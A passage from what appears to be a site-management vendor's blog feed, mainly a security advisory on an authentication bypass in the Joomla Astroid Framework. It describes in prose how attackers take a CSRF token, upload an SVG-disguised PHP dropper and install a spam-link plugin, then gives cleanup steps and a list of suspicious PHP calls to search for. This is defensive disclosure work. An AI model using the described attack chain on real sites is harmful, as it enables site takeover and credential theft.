&lt;li&gt;&lt;a href=&quot;https://digwp.com/2026/03/disable-all-automatic-updates/&quot;&gt;How to Disable All Automatic Updates&lt;/a&gt; - Jeff Starr’s comprehensive guide covering constants, filter hooks, and granular core update controls.&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://developer.wordpress.org/advanced-administration/upgrade/upgrading/&quot;&gt;Upgrading WordPress — Automatic Background Updates&lt;/a&gt; - Official WordPress documentation on how background updates work and how to configure them.&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://developer.wordpress.org/apis/wp-config-php/&quot;&gt;wp-config.php Constants&lt;/a&gt; - Full reference for every constant you can set in wp-config.php, including update-related ones.&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://developer.wordpress.org/reference/classes/wp_automatic_updater/&quot;&gt;WP_Automatic_Updater Class Reference&lt;/a&gt; - Developer documentation for the class that handles all automatic background updates in WordPress core.&lt;/li&gt;
&lt;/ul&gt;
&lt;hr /&gt;
&lt;p&gt;For the complete auto-update strategy, see our &lt;a href=&quot;https://mysites.guru/guides/managing-cms-updates-at-scale/&quot;&gt;CMS updates guide&lt;/a&gt;.&lt;/p&gt;</content:encoded><author>phil@mysites.guru (Phil Taylor)</author><category>wordpress</category><category>updates</category><category>auto-updates</category><category>site management</category><enclosure url="https://mysites.guru/img/og/blog/stop-automatic-updates-wordpress-one-click.png" length="0" type="image/png"/></item><item><title>Astroid Framework Vulnerability - What Happened and How to Check Your Joomla Site</title><link>https://mysites.guru/blog/astroid-framework-security-vulnerability/</link><guid isPermaLink="true">https://mysites.guru/blog/astroid-framework-security-vulnerability/</guid><description>CVE-2026-21628 (CVSS 10.0) - Astroid Framework for Joomla had a critical auth bypass letting attackers upload backdoors. What happened and what to do.</description><pubDate>Thu, 05 Mar 2026 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;The &lt;a href=&quot;https://astroidframe.work/&quot;&gt;Astroid Framework&lt;/a&gt; for Joomla has a critical authentication bypass vulnerability (&lt;a href=&quot;https://mysites.guru/vulnerabilities/CVE-2026-21628/&quot;&gt;CVE-2026-21628&lt;/a&gt;, CVSS 10.0) that attackers are actively exploiting. They’re using it to install backdoor plugins and inject hidden SEO spam links into affected sites.&lt;/p&gt;
&lt;p&gt;If your Joomla site runs the Astroid Framework, check it now. If you already know your &lt;a href=&quot;https://mysites.guru/joomla-hacked/&quot;&gt;Joomla site has been hacked&lt;/a&gt;, skip to our recovery guide.&lt;/p&gt;
&lt;h2&gt;TL;DR&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;&lt;a href=&quot;https://mysites.guru/vulnerabilities/CVE-2026-21628/&quot;&gt;CVE-2026-21628&lt;/a&gt;&lt;/strong&gt; - CVSS 10.0 critical auth bypass in every Astroid Framework version before 3.3.11&lt;/li&gt;
&lt;li&gt;Attackers grab a CSRF token from the public login page and use it to upload backdoors and install SEO spam plugins - no login required&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Update to &lt;a href=&quot;https://github.com/templaza/astroid-framework/releases/tag/v3.3.13&quot;&gt;Astroid 3.3.13&lt;/a&gt;&lt;/strong&gt; immediately (3.3.11 had regressions, 3.3.12 fixed those, 3.3.13 adds further bug fixes and dependency updates)&lt;/li&gt;
&lt;li&gt;Check your plugin manager for &lt;strong&gt;BLPayload&lt;/strong&gt; / &lt;strong&gt;BL Payload&lt;/strong&gt; plugins and delete any &lt;code&gt;plg_jcp_*.html&lt;/code&gt; files in &lt;code&gt;/administrator/cache/&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;Already compromised? Updating alone won’t help - the backdoors stay. &lt;a href=&quot;#what-do-you-need-to-do-right-now&quot;&gt;Full cleanup steps below&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;div&gt;&lt;p&gt;This post relates to the wave of Astroid Framework attacks in late February and early March 2026. The vulnerability (&lt;a href=&quot;https://mysites.guru/vulnerabilities/CVE-2026-21628/&quot;&gt;&lt;/a&gt;&lt;a href=&quot;https://mysites.guru/vulnerabilities/CVE-2026-21628/&quot;&gt;CVE-2026-21628&lt;/a&gt;, CVSS 10.0 Critical) was publicly reported on 4 March 2026 and patched in version 3.3.11 on 5 March 2026. If you haven’t updated since then, your site is at risk.&lt;/p&gt;&lt;/div&gt;
&lt;h2&gt;What happened?&lt;/h2&gt;
&lt;p&gt;The vulnerability was in &lt;code&gt;library/astroid/Admin.php&lt;/code&gt;, the file that handles all AJAX requests for the Astroid Framework’s admin interface.&lt;/p&gt;
&lt;p&gt;The code used Joomla’s &lt;code&gt;checkToken()&lt;/code&gt; function to verify CSRF tokens, but it never checked whether the person sending the request was actually logged in as an administrator. The CSRF token from the public &lt;code&gt;/administrator&lt;/code&gt; login page was enough to authenticate any request.&lt;/p&gt;
&lt;p&gt;That meant an attacker could:&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;Visit the Joomla admin login page and grab the CSRF token from the HTML&lt;/li&gt;
&lt;li&gt;Send requests to the Astroid AJAX endpoint using that token&lt;/li&gt;
&lt;li&gt;Upload files, rename them, and install extensions, all without ever logging in&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;The fix in version 3.3.11 added a &lt;code&gt;checkAdminAuth()&lt;/code&gt; method that verifies the user has &lt;code&gt;core.manage&lt;/code&gt; permission for &lt;code&gt;com_templates&lt;/code&gt; before processing any request. Basic authorization checking that should have been there from the start.&lt;/p&gt;
&lt;p&gt;Every version of Astroid before &lt;strong&gt;3.3.11&lt;/strong&gt; is vulnerable, including all versions from the original JoomDev era. Sites running Joomla 5 and Joomla 6 are both affected - reports from the &lt;a href=&quot;https://joomlaforum.ch/joomla6-erweiterungen/39320-seltsame-plugins-allenfalls-gehackte-joomla-6-seite&quot;&gt;Swiss Joomla forum&lt;/a&gt; and the &lt;a href=&quot;https://forum.joomla.fr/forum/joomla-5-x/questions-g%C3%A9n%C3%A9rales-ab/2073894-hack&quot;&gt;French Joomla forum&lt;/a&gt; confirm compromised Joomla 6.0.3 and Joomla 5.4.3 installations respectively.&lt;/p&gt;
&lt;h2&gt;What are the attackers installing?&lt;/h2&gt;
&lt;p&gt;The attack is a two-stage process: a dropper, then a payload.&lt;/p&gt;
&lt;h3&gt;Stage 1: the dropper&lt;/h3&gt;
&lt;p&gt;The attacker uploads a PHP file disguised as an SVG image through the Astroid AJAX endpoint. The file looks harmless to basic file type checks because it ends with valid SVG markup, but the PHP code runs first.&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://mysites.guru/_astro/astroid-malicious-svg-dropper.MLL-uzil_Z2eBoqr.webp&quot; srcset=&quot;https://mysites.guru/_astro/astroid-malicious-svg-dropper.MLL-uzil_ZR7AFY.webp 640w, https://mysites.guru/_astro/astroid-malicious-svg-dropper.MLL-uzil_ZNT2w9.webp 750w, https://mysites.guru/_astro/astroid-malicious-svg-dropper.MLL-uzil_mKgdt.webp 828w, https://mysites.guru/_astro/astroid-malicious-svg-dropper.MLL-uzil_1OcapP.webp 1080w, https://mysites.guru/_astro/astroid-malicious-svg-dropper.MLL-uzil_ZlIxqL.webp 1280w, https://mysites.guru/_astro/astroid-malicious-svg-dropper.MLL-uzil_ZHWTuz.webp 1668w, https://mysites.guru/_astro/astroid-malicious-svg-dropper.MLL-uzil_Z4d8g0.webp 2048w, https://mysites.guru/_astro/astroid-malicious-svg-dropper.MLL-uzil_Z2eBoqr.webp 2122w&quot; alt=&quot;Malicious SVG dropper file showing PHP code embedded before valid SVG markup, including the ASTROID_RCE identifier, file_put_contents call, and a tracking comment hash&quot; loading=&quot;lazy&quot; sizes=&quot;(min-width: 2122px) 2122px, 100vw&quot; width=&quot;2122&quot; height=&quot;470&quot; /&gt;&lt;/p&gt;
&lt;p&gt;Inside the dropper is a base64-encoded ZIP archive containing the actual payload plugin. The dropper accepts URL parameters that control the installation:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;code&gt;?go&lt;/code&gt; extracts the ZIP to &lt;code&gt;/plugins/system/blpayload/&lt;/code&gt;, reads your Joomla &lt;code&gt;configuration.php&lt;/code&gt; to grab the database credentials, then writes directly to the &lt;code&gt;extensions&lt;/code&gt; table. It registers itself as enabled with ordering 9999 (highest priority) so it runs before everything else.&lt;/li&gt;
&lt;li&gt;&lt;code&gt;?check&lt;/code&gt; confirms the payload was successfully installed.&lt;/li&gt;
&lt;li&gt;&lt;code&gt;?del&lt;/code&gt; deletes the dropper itself to cover the attacker’s tracks.&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;The dropper also cleans up after an earlier variant called &lt;code&gt;jcachepro&lt;/code&gt;, deleting it from both the database and filesystem. This tells us the attack has evolved through at least two generations. Reports from the Swiss Joomla forum confirm both &lt;code&gt;jcachepro&lt;/code&gt; and &lt;code&gt;blpayload&lt;/code&gt; have been found side by side on compromised sites, so don’t assume the dropper always cleans up after itself.&lt;/p&gt;
&lt;p&gt;We’ve also seen dropper files with randomized filenames like &lt;code&gt;blp_9948.php&lt;/code&gt;, &lt;code&gt;blr_6661.php&lt;/code&gt;, and &lt;code&gt;astroid_poc_[random].php&lt;/code&gt; dropped into the &lt;code&gt;/images/&lt;/code&gt; directory. The &lt;code&gt;astroid_poc&lt;/code&gt; variant was first spotted on February 24, a full week before the mass exploitation wave began on March 1. Check your media folders, not just the plugin directories.&lt;/p&gt;
&lt;p&gt;mySites.guru’s suspect content scanner flags the &lt;code&gt;install.php&lt;/code&gt; file with 11 pattern matches, including the SQL query that force-enables the plugin at priority 9999:&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://mysites.guru/_astro/astroid-blpayload-install-match.C2EgjuUP_ZD93ao.webp&quot; srcset=&quot;https://mysites.guru/_astro/astroid-blpayload-install-match.C2EgjuUP_Z26JSpU.webp 640w, https://mysites.guru/_astro/astroid-blpayload-install-match.C2EgjuUP_Z2qdmqF.webp 750w, https://mysites.guru/_astro/astroid-blpayload-install-match.C2EgjuUP_Z1ttD1B.webp 828w, https://mysites.guru/_astro/astroid-blpayload-install-match.C2EgjuUP_Ziy3SG.webp 1080w, https://mysites.guru/_astro/astroid-blpayload-install-match.C2EgjuUP_1Nq8VO.webp 1280w, https://mysites.guru/_astro/astroid-blpayload-install-match.C2EgjuUP_Z8yui.webp 1668w, https://mysites.guru/_astro/astroid-blpayload-install-match.C2EgjuUP_Z1ULB9T.webp 2048w, https://mysites.guru/_astro/astroid-blpayload-install-match.C2EgjuUP_dbzd0.webp 2560w, https://mysites.guru/_astro/astroid-blpayload-install-match.C2EgjuUP_ZD93ao.webp 3012w&quot; alt=&quot;mySites.guru suspect content scanner flagging /plugins/system/blpayload/install.php as a Hacked File, showing the SQL query that force-enables the blpayload plugin at ordering 9999&quot; loading=&quot;lazy&quot; sizes=&quot;(min-width: 3012px) 3012px, 100vw&quot; width=&quot;3012&quot; height=&quot;942&quot; /&gt;&lt;/p&gt;
&lt;p&gt;For help interpreting results like these, see &lt;a href=&quot;https://mysites.guru/blog/suspect-content-vs-hacked-files/&quot;&gt;which flags are confirmed hacks and which just need a look&lt;/a&gt;.&lt;/p&gt;
&lt;h3&gt;Stage 2: the payload plugins&lt;/h3&gt;
&lt;p&gt;Once the dropper runs, you end up with malicious system plugins installed in Joomla:&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://mysites.guru/_astro/astroid-blpayload-plugins.BhllcABd_Z1cmMx7.webp&quot; srcset=&quot;https://mysites.guru/_astro/astroid-blpayload-plugins.BhllcABd_Z2rGJd4.webp 640w, https://mysites.guru/_astro/astroid-blpayload-plugins.BhllcABd_Z3h0VD.webp 750w, https://mysites.guru/_astro/astroid-blpayload-plugins.BhllcABd_ZObFmD.webp 828w, https://mysites.guru/_astro/astroid-blpayload-plugins.BhllcABd_1NeQd9.webp 1080w, https://mysites.guru/_astro/astroid-blpayload-plugins.BhllcABd_Z1j37oo.webp 1280w, https://mysites.guru/_astro/astroid-blpayload-plugins.BhllcABd_Zx8LVy.webp 1668w, https://mysites.guru/_astro/astroid-blpayload-plugins.BhllcABd_Z1cmMx7.webp 1730w&quot; alt=&quot;Joomla plugin manager showing two malicious plugins: System - BLPayload v7.0.0 and System - BL Payload v1.0.6, both enabled&quot; loading=&quot;lazy&quot; sizes=&quot;(min-width: 1730px) 1730px, 100vw&quot; width=&quot;1730&quot; height=&quot;626&quot; /&gt;&lt;/p&gt;
&lt;p&gt;We’ve seen them registered as &lt;strong&gt;System - BLPayload&lt;/strong&gt; (v7.0.0) and &lt;strong&gt;System - BL Payload&lt;/strong&gt; (v1.0.6). Both run at priority 9999 and execute on every single page load.&lt;/p&gt;
&lt;h3&gt;What the payload does&lt;/h3&gt;
&lt;p&gt;On every frontend request, the plugin contacts &lt;code&gt;hacklink.pw&lt;/code&gt;, a black-market SEO platform. It fetches a list of hidden spam links — gambling, phishing, crypto scam sites — and injects them into your page HTML. The links are hidden from visitors using CSS positioning (&lt;code&gt;left:-9999px; visibility:hidden&lt;/code&gt;) but fully visible to search engine crawlers.&lt;/p&gt;
&lt;p&gt;mySites.guru’s suspect content scanner flags the &lt;code&gt;blpayload.php&lt;/code&gt; file itself, showing the API call to &lt;code&gt;hacklink.pw&lt;/code&gt;, the cache file generation, and even an &lt;code&gt;$aggressiveness&lt;/code&gt; setting the attacker can control remotely:&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://mysites.guru/_astro/astroid-blpayload-php-matches.Bh76J9Pf_Ld5ao.webp&quot; srcset=&quot;https://mysites.guru/_astro/astroid-blpayload-php-matches.Bh76J9Pf_Z1ppxX5.webp 640w, https://mysites.guru/_astro/astroid-blpayload-php-matches.Bh76J9Pf_248Jxe.webp 750w, https://mysites.guru/_astro/astroid-blpayload-php-matches.Bh76J9Pf_25Tsnw.webp 828w, https://mysites.guru/_astro/astroid-blpayload-php-matches.Bh76J9Pf_23fiVL.webp 1080w, https://mysites.guru/_astro/astroid-blpayload-php-matches.Bh76J9Pf_28tXIr.webp 1280w, https://mysites.guru/_astro/astroid-blpayload-php-matches.Bh76J9Pf_ZXIJjY.webp 1668w, https://mysites.guru/_astro/astroid-blpayload-php-matches.Bh76J9Pf_Z1NkPKs.webp 2048w, https://mysites.guru/_astro/astroid-blpayload-php-matches.Bh76J9Pf_1D2zWF.webp 2560w, https://mysites.guru/_astro/astroid-blpayload-php-matches.Bh76J9Pf_Ld5ao.webp 3036w&quot; alt=&quot;mySites.guru suspect content scanner showing blpayload.php flagged as Hacked File with matches on the hacklink.pw API URL, cache file generation, aggressiveness setting, and renderHidden function&quot; loading=&quot;lazy&quot; sizes=&quot;(min-width: 3036px) 3036px, 100vw&quot; width=&quot;3036&quot; height=&quot;1546&quot; /&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://mysites.guru/_astro/astroid-hacklink-cache.z526ytfJ_o3U5.webp&quot; srcset=&quot;https://mysites.guru/_astro/astroid-hacklink-cache.z526ytfJ_Z2uIVi3.webp 640w, https://mysites.guru/_astro/astroid-hacklink-cache.z526ytfJ_VCdnc.webp 750w, https://mysites.guru/_astro/astroid-hacklink-cache.z526ytfJ_1zTzGm.webp 828w, https://mysites.guru/_astro/astroid-hacklink-cache.z526ytfJ_KDckE.webp 1080w, https://mysites.guru/_astro/astroid-hacklink-cache.z526ytfJ_Z1hP5Gr.webp 1280w, https://mysites.guru/_astro/astroid-hacklink-cache.z526ytfJ_o3U5.webp 1432w&quot; alt=&quot;mySites.guru suspect content scanner showing a cached hacklink payload file at /administrator/cache/plg_jcp_[hash].html containing hidden spam links to hacklink.pw&quot; loading=&quot;lazy&quot; sizes=&quot;(min-width: 1432px) 1432px, 100vw&quot; width=&quot;1432&quot; height=&quot;644&quot; /&gt;&lt;/p&gt;
&lt;p&gt;The plugin caches its output locally as HTML files in &lt;code&gt;/administrator/cache/&lt;/code&gt; with filenames like &lt;code&gt;plg_jcp_aa6cb959d0c3810149132dc8485b0016.html&lt;/code&gt;. These cache files keep serving spam even when the external server goes down.&lt;/p&gt;
&lt;p&gt;The attackers are riding on your domain’s reputation to boost their own sites in search results.&lt;/p&gt;
&lt;h2&gt;How does mySites.guru detect this?&lt;/h2&gt;
&lt;p&gt;mySites.guru catches this from two angles: the vulnerable framework file itself and the payloads left behind by attackers.&lt;/p&gt;
&lt;h3&gt;Vulnerable framework files&lt;/h3&gt;
&lt;p&gt;Our audit system matches the md5 hash of &lt;code&gt;library/astroid/Admin.php&lt;/code&gt; against known vulnerable versions. If your site has an old, unpatched copy of this file, mySites.guru flags it as a confirmed hacked file. No false positives — each hash was verified against the vulnerable source code.&lt;/p&gt;
&lt;h3&gt;Malicious payload plugins and cache files&lt;/h3&gt;
&lt;p&gt;The &lt;a href=&quot;https://mysites.guru/blog/find-hacked-files-and-backdoors-in-joomla-and-wordpress/&quot;&gt;suspect content scanner&lt;/a&gt; picks up the BLPayload plugin files and the &lt;code&gt;plg_jcp_*.html&lt;/code&gt; cache files in &lt;code&gt;/administrator/cache/&lt;/code&gt;. Here’s what a compromised site looks like after an audit — the &lt;code&gt;install.php&lt;/code&gt; dropper, dozens of &lt;code&gt;plg_blpayload_*&lt;/code&gt; and &lt;code&gt;plg_jcp_*&lt;/code&gt; cache files, all flagged as “Hacked File”:&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://mysites.guru/_astro/astroid-hacked-files-list.BHvpXeTG_Z27HAjI.webp&quot; srcset=&quot;https://mysites.guru/_astro/astroid-hacked-files-list.BHvpXeTG_ZAsgRh.webp 640w, https://mysites.guru/_astro/astroid-hacked-files-list.BHvpXeTG_Z2e5hlS.webp 750w, https://mysites.guru/_astro/astroid-hacked-files-list.BHvpXeTG_wyrnp.webp 828w, https://mysites.guru/_astro/astroid-hacked-files-list.BHvpXeTG_Z1ImnNF.webp 1080w, https://mysites.guru/_astro/astroid-hacked-files-list.BHvpXeTG_ZESlGR.webp 1280w, https://mysites.guru/_astro/astroid-hacked-files-list.BHvpXeTG_1RsMqk.webp 1668w, https://mysites.guru/_astro/astroid-hacked-files-list.BHvpXeTG_o6nT8.webp 2048w, https://mysites.guru/_astro/astroid-hacked-files-list.BHvpXeTG_Z2qnpzw.webp 2560w, https://mysites.guru/_astro/astroid-hacked-files-list.BHvpXeTG_Z27HAjI.webp 3094w&quot; alt=&quot;mySites.guru suspect content tool listing hacked files including install.php dropper and multiple plg_blpayload and plg_jcp cache files, all flagged as Hacked File&quot; loading=&quot;lazy&quot; sizes=&quot;(min-width: 3094px) 3094px, 100vw&quot; width=&quot;3094&quot; height=&quot;2204&quot; /&gt;&lt;/p&gt;
&lt;p&gt;Not sure what you’re looking at in a flagged file? Our &lt;a href=&quot;https://mysites.guru/blog/ai-powered-malware-analysis-now-available-in-mysites-guru/&quot;&gt;AI-powered malware analysis&lt;/a&gt; can review it with one click and tell you exactly what it does.&lt;/p&gt;
&lt;h2&gt;Which of your sites are affected?&lt;/h2&gt;
&lt;p&gt;If you manage more than a handful of Joomla sites, this is where things get stressful. You need to know which sites have the Astroid Framework installed, and you need to know right now, not after logging into each one individually.&lt;/p&gt;
&lt;p&gt;This is exactly the kind of situation mySites.guru was built for. Every extension on every connected site is indexed and searchable. One URL gives you the full list:&lt;/p&gt;
&lt;p&gt;&lt;a href=&quot;https://manage.mysites.guru/en/extensions/similar/to/5387fe79896108bb1da21df6008e1f4c&quot;&gt;View all your sites with Astroid Framework installed&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://mysites.guru/_astro/astroid-mysitesguru-extension-search.B5-ucHpL_2wKply.webp&quot; srcset=&quot;https://mysites.guru/_astro/astroid-mysitesguru-extension-search.B5-ucHpL_1IUlbE.webp 640w, https://mysites.guru/_astro/astroid-mysitesguru-extension-search.B5-ucHpL_1IYhHI.webp 750w, https://mysites.guru/_astro/astroid-mysitesguru-extension-search.B5-ucHpL_1FU2wx.webp 828w, https://mysites.guru/_astro/astroid-mysitesguru-extension-search.B5-ucHpL_2dpH8U.webp 1080w, https://mysites.guru/_astro/astroid-mysitesguru-extension-search.B5-ucHpL_Z1zXf3x.webp 1280w, https://mysites.guru/_astro/astroid-mysitesguru-extension-search.B5-ucHpL_Z2iDhpr.webp 1668w, https://mysites.guru/_astro/astroid-mysitesguru-extension-search.B5-ucHpL_14QAjp.webp 2048w, https://mysites.guru/_astro/astroid-mysitesguru-extension-search.B5-ucHpL_Z1TQxm9.webp 2560w, https://mysites.guru/_astro/astroid-mysitesguru-extension-search.B5-ucHpL_2wKply.webp 3858w&quot; alt=&quot;mySites.guru extension search showing all sites with Astroid Framework installed, with version numbers, PHP versions, and Joomla versions for each site&quot; loading=&quot;lazy&quot; sizes=&quot;(min-width: 3858px) 3858px, 100vw&quot; width=&quot;3858&quot; height=&quot;2356&quot; /&gt;&lt;/p&gt;
&lt;p&gt;That page shows every site in your account running this framework, with the version number, so you can see at a glance which ones still need updating. No logging into 50 admin panels. No spreadsheets. No guessing which client sites might be using an Astroid-based template. You can also use the &lt;a href=&quot;https://mysites.guru/blog/how-to-compare-joomla-templates-across-sites/&quot;&gt;Active Theme and Template List&lt;/a&gt; to see every site’s active template at a glance and export the full list as CSV.&lt;/p&gt;
&lt;p&gt;When a vulnerability like this drops, knowing which sites are affected in 10 seconds means you can patch before the attackers get there - not after they already have.&lt;/p&gt;
&lt;p&gt;If you don’t have a mySites.guru account yet, &lt;a href=&quot;https://mysites.guru/free-audit/&quot;&gt;run a free audit&lt;/a&gt; and connect your sites. The extension index builds automatically on the first audit.&lt;/p&gt;
&lt;h2&gt;What do you need to do right now?&lt;/h2&gt;
&lt;h3&gt;1. Update the Astroid Framework to 3.3.13&lt;/h3&gt;
&lt;p&gt;Download it from the &lt;a href=&quot;https://github.com/templaza/astroid-framework/releases/tag/v3.3.13&quot;&gt;official release page&lt;/a&gt; and install it through your Joomla extension manager. This closes the vulnerability and includes all bug fixes since the initial patch. If you manage multiple sites, you can &lt;a href=&quot;https://mysites.guru/blog/how-to-update-joomla-joomla-extensions-wordpress-and-wordpress-plugins-from-mysites-guru/&quot;&gt;push the update to all of them at once&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;Quick version history since the patch: 3.3.11 (5 March) fixed the vulnerability but had video background and mega menu width regressions. 3.3.12 (6 March) fixed those regressions. &lt;a href=&quot;https://github.com/templaza/astroid-framework/releases/tag/v3.3.13&quot;&gt;3.3.13&lt;/a&gt; (15 March) fixes GSAP plugin loading errors, improves touch device navigation and mega menu behavior, adds section/column height controls and a stagger animation toggle, and updates Font Awesome to 7.2.0, LenisJS to 1.3.18, and Fancybox to 6.1. No additional security changes - 3.3.11 already has the full &lt;a href=&quot;https://mysites.guru/vulnerabilities/CVE-2026-21628/&quot;&gt;CVE-2026-21628&lt;/a&gt; fix.&lt;/p&gt;
&lt;h3&gt;2. Check for installed payload plugins&lt;/h3&gt;
&lt;p&gt;Open your Joomla plugin manager and search for “BLPayload” or “BL Payload”. If you find either one, your site was compromised. Uninstall them immediately. With mySites.guru you can &lt;a href=&quot;https://mysites.guru/blog/manage-all-your-joomla-sites-extensions-with-mysites-guru/&quot;&gt;search installed extensions across all your sites&lt;/a&gt; to find every instance in seconds.&lt;/p&gt;
&lt;h3&gt;3. Clear the administrator cache&lt;/h3&gt;
&lt;p&gt;Look in &lt;code&gt;/administrator/cache/&lt;/code&gt; for any files matching &lt;code&gt;plg_jcp_*.html&lt;/code&gt; or &lt;code&gt;plg_blpayload_*.html&lt;/code&gt;. Delete them.&lt;/p&gt;
&lt;h3&gt;4. Run a full security audit&lt;/h3&gt;
&lt;p&gt;If you have a &lt;a href=&quot;https://mysites.guru/&quot;&gt;mySites.guru&lt;/a&gt; account, run an audit now. The &lt;a href=&quot;https://mysites.guru/blog/find-hacked-files-and-backdoors-in-joomla-and-wordpress/&quot;&gt;suspect content tool&lt;/a&gt; will scan every file in your webspace and flag anything suspicious.&lt;/p&gt;
&lt;p&gt;If you don’t have an account, &lt;a href=&quot;https://mysites.guru/free-audit/&quot;&gt;run a free audit&lt;/a&gt; and connect your site. The audit runs automatically.&lt;/p&gt;
&lt;h3&gt;5. Check for additional backdoors&lt;/h3&gt;
&lt;p&gt;Attackers who got in through this vulnerability may have installed more than just the BLPayload plugin. Look for:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;The earlier variant &lt;code&gt;jcachepro&lt;/code&gt; in &lt;code&gt;/plugins/system/jcachepro/&lt;/code&gt; (the current dropper tries to clean this up, but it may still be present)&lt;/li&gt;
&lt;li&gt;SVG files in &lt;code&gt;/administrator/&lt;/code&gt; or media folders that contain PHP code (the droppers disguise themselves as SVG images)&lt;/li&gt;
&lt;li&gt;PHP files in &lt;code&gt;/images/&lt;/code&gt;, &lt;code&gt;/tmp/&lt;/code&gt;, &lt;code&gt;/cache/&lt;/code&gt;, or &lt;code&gt;/logs/&lt;/code&gt; where they don’t belong - look specifically for &lt;code&gt;blp_*.php&lt;/code&gt;, &lt;code&gt;blr_*.php&lt;/code&gt;, and &lt;code&gt;astroid_poc_*.php&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://mysites.guru/blog/universal-user-management-for-joomla-and-wordpress-sites/&quot;&gt;Unfamiliar admin user accounts&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;Other unknown plugins, especially system plugins&lt;/li&gt;
&lt;li&gt;Files containing &lt;code&gt;eval(&lt;/code&gt;, &lt;code&gt;base64_decode(&lt;/code&gt;, &lt;code&gt;shell_exec(&lt;/code&gt;, or &lt;code&gt;system(&lt;/code&gt; calls&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;Our &lt;a href=&quot;https://mysites.guru/blog/get-real-time-alerting-of-modified-files-admin-logins-and-much-more-with-mysites-guru/&quot;&gt;file change monitoring&lt;/a&gt; will alert you in real time if any watched files are modified after cleanup.&lt;/p&gt;
&lt;h3&gt;6. Change all passwords&lt;/h3&gt;
&lt;p&gt;Change your Joomla admin password, database password, FTP credentials, and hosting panel login. If attackers had admin-level access, assume they saw everything.&lt;/p&gt;
&lt;h3&gt;7. Check Google Search Console&lt;/h3&gt;
&lt;p&gt;The hidden link injection may have already affected your search rankings. Check Google Search Console for manual actions or unusual coverage changes. If spam backlinks are indexed, use Google’s Disavow Tool.&lt;/p&gt;
&lt;h2&gt;What are the technical details?&lt;/h2&gt;
&lt;p&gt;This vulnerability is tracked as &lt;a href=&quot;https://mysites.guru/vulnerabilities/CVE-2026-21628/&quot;&gt;CVE-2026-21628&lt;/a&gt;, classified under &lt;a href=&quot;https://cwe.mitre.org/data/definitions/434.html&quot;&gt;CWE-434&lt;/a&gt; (Unrestricted Upload of File with Dangerous Type).&lt;/p&gt;
&lt;div&gt;&lt;div&gt;&lt;div&gt;&lt;span&gt;10.0&lt;/span&gt;&lt;span&gt;CVSS 4.0&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;p&gt;&lt;span&gt;Critical&lt;/span&gt;&lt;span&gt;Joomla CNA · &lt;a href=&quot;https://mysites.guru/vulnerabilities/CVE-2026-21628/&quot;&gt;CVE-2026-21628&lt;/a&gt;&lt;/span&gt;&lt;/p&gt;&lt;div&gt;&lt;code&gt;CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:H/SI:H/SA:H/E:A/AU:Y&lt;/code&gt;&lt;/div&gt;What does this mean?&lt;div&gt;&lt;p&gt;CVSS 4.0 scores how severe a flaw is, from 0 (no impact) to 10 (critical). Each pair of letters in the string above is one metric; here is what this one&apos;s says.&lt;/p&gt;&lt;div&gt;&lt;p&gt;How it is reached&lt;/p&gt;&lt;dl&gt;&lt;div&gt;&lt;dt&gt;AV:N&lt;/dt&gt;&lt;dd&gt;Network: Reachable across the internet&lt;/dd&gt;&lt;/div&gt;&lt;div&gt;&lt;dt&gt;AC:L&lt;/dt&gt;&lt;dd&gt;Low: Nothing to work around, it just works&lt;/dd&gt;&lt;/div&gt;&lt;div&gt;&lt;dt&gt;AT:N&lt;/dt&gt;&lt;dd&gt;None: Works against any affected install&lt;/dd&gt;&lt;/div&gt;&lt;div&gt;&lt;dt&gt;PR:N&lt;/dt&gt;&lt;dd&gt;None: No account needed&lt;/dd&gt;&lt;/div&gt;&lt;div&gt;&lt;dt&gt;UI:N&lt;/dt&gt;&lt;dd&gt;None: Nobody has to be tricked into anything&lt;/dd&gt;&lt;/div&gt;&lt;/dl&gt;&lt;/div&gt;&lt;div&gt;&lt;p&gt;What it does to the site&lt;/p&gt;&lt;dl&gt;&lt;div&gt;&lt;dt&gt;VC:H&lt;/dt&gt;&lt;dd&gt;High: Everything the site holds can be read&lt;/dd&gt;&lt;/div&gt;&lt;div&gt;&lt;dt&gt;VI:H&lt;/dt&gt;&lt;dd&gt;High: Data and files can be altered at will&lt;/dd&gt;&lt;/div&gt;&lt;div&gt;&lt;dt&gt;VA:H&lt;/dt&gt;&lt;dd&gt;High: The site can be taken down&lt;/dd&gt;&lt;/div&gt;&lt;/dl&gt;&lt;/div&gt;&lt;div&gt;&lt;p&gt;What it does beyond the site&lt;/p&gt;&lt;dl&gt;&lt;div&gt;&lt;dt&gt;SC:H&lt;/dt&gt;&lt;dd&gt;High: Data on other systems can be read&lt;/dd&gt;&lt;/div&gt;&lt;div&gt;&lt;dt&gt;SI:H&lt;/dt&gt;&lt;dd&gt;High: Other systems can be altered&lt;/dd&gt;&lt;/div&gt;&lt;div&gt;&lt;dt&gt;SA:H&lt;/dt&gt;&lt;dd&gt;High: Other systems can be taken down&lt;/dd&gt;&lt;/div&gt;&lt;/dl&gt;&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;
